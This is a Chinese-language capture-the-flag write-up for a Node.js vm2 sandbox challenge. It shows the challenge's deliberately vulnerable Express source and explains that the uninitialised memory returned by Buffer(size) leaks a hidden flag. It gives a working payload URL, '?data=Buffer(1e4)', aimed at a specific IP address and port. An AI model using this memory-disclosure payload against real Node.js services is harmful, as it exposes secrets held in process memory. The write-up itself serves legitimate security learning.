"use strict";var randomstring = require("randomstring");var express = require("express");var {VM} = require("vm2");var fs = require("fs");var app = express();var flag = require("./config.js").flagapp.get("/", function(req, res) {res.header("Content-Type", "text/plain");/* Orange is so kind so he put the flag here. But if you can guess correctly :P */eval("var flag_" + randomstring.generate(64) + " = \"flag{" + flag + "}\";")if (req.query.data && req.query.data.length <= 12) {var vm = new VM({timeout: 1000});console.log(req.query.data);res.send("eval ->" + vm.run(req.query.data));} else {res.send(fs.readFileSync(__filename).toString());}});app.listen(3000, function() {console.log("listening on port 3000!");});
程序逻辑很简单,读取flag,存入随机名字的变量中。
创建vm2沙箱,在沙箱中执行代码,并返回执行的结果。
原本思路是沙箱逃逸,搜来搜去发现了另一个漏洞,和沙箱逃逸没啥关系。
Node.js中存在一个对象Buffer,用于创建缓冲区,但是不同于TypedArray,在使用new Buffer(size)或者它的别名Buffer(size)创建时,会得到一块未被清空的内存,而这块内存包含之前的各种变量以及数据。
那么接下来就可以通过这个对象来读取到flag变量。
payload:
http://111.200.241.244:48918/?data=Buffer(1e4)
访问后会下载一个文件,在文件中搜索flag关键字即可拿到flag。
